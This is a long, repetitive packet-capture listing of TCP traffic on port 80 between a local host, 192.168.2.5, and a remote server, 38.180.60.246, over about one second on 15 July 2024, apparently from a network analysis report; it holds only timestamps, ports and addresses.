Jul 15, 2024 00:48:24.984193087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.984221935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.984985113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.984996080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985006094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985017061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985028028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985034943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.985040903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985049963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.985052109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985088110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.985104084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985105038 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.985116959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985126972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985138893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985143900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.985147953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985162020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985165119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.985198975 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.985939980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985958099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985968113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985979080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.985989094 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.985990047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986001015 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986010075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986020088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986021996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986031055 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986040115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986047029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986049891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986059904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986068010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986073017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986078978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986088991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986092091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986098051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986109018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986119032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986120939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986128092 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986139059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986150026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986155033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986160040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986171007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986176014 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986195087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986221075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986898899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986920118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986932039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986943007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986951113 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986954927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986968040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986979961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.986979961 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.986990929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987000942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987011909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987011909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987024069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987034082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987035036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987046957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987056017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987059116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987072945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987077951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987083912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987096071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987106085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987106085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987118006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987131119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987134933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987143040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987154961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987157106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987176895 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987201929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987868071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987888098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987920046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.987921000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987936974 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.987957001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990291119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990303993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990320921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990333080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990343094 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990346909 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990354061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990364075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990377903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990377903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990391970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990392923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990397930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990402937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990417004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990418911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990430117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990442991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990442991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990453005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990467072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990473986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990478992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990490913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990494013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990502119 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.990514994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990534067 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.990562916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991158009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991169930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991179943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991190910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991205931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991213083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991216898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991236925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991240025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991247892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991259098 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991266966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991270065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991282940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991292953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991307974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991312981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991312981 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991319895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991332054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991341114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991343975 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991354942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991363049 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991367102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991379023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991383076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991393089 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991405010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991411924 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991416931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991427898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991436005 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991441011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991451979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991460085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991462946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991498947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991525888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.991915941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.991996050 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992125034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992136002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992146969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992157936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992167950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992173910 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992180109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992193937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992202997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992213011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992224932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992225885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992239952 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992250919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992253065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992261887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992274046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992284060 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992284060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992295027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992305040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992307901 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992319107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992325068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992331982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992342949 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992342949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992356062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992363930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992367029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992379904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992391109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992393017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992408991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992419004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992422104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992433071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992440939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992444038 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992455006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.992468119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.992496967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993103981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993115902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993125916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993138075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993149042 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993155003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993175030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993179083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993192911 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993199110 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993206024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993216991 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993225098 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993227005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993232965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993238926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993251085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993262053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993272066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993272066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993279934 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993283033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993294954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993303061 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993305922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993319035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993329048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993333101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993340969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993352890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993360996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993364096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993375063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993381977 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993387938 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993400097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993403912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993411064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993417978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993422031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993441105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993463993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993912935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993946075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993957996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993968010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993968010 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993980885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.993990898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.993990898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994003057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994019032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994038105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994097948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994108915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994118929 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994128942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994143009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994148970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994158983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994168997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994170904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994190931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994198084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994200945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994214058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994220018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994232893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994244099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994244099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994255066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994267941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.994270086 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994288921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994288921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.994302988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.995057106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995070934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995080948 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995094061 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995111942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995114088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.995124102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995135069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995136023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.995146990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995157957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.995157957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.995161057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995172024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995181084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.995184898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995198965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.995207071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.995235920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.995259047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.996027946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.996040106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.996049881 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.996062994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.996074915 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.996087074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.996089935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.996110916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.996129036 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.997890949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.997904062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.997909069 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.997912884 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.997962952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.997962952 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.000808954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000821114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000832081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000844002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000854969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000864983 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000865936 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.000875950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000885963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000896931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000901937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.000901937 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.000906944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000909090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.000916958 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.000926971 CEST	80	49704	38.180.60.246	192.168.2.5
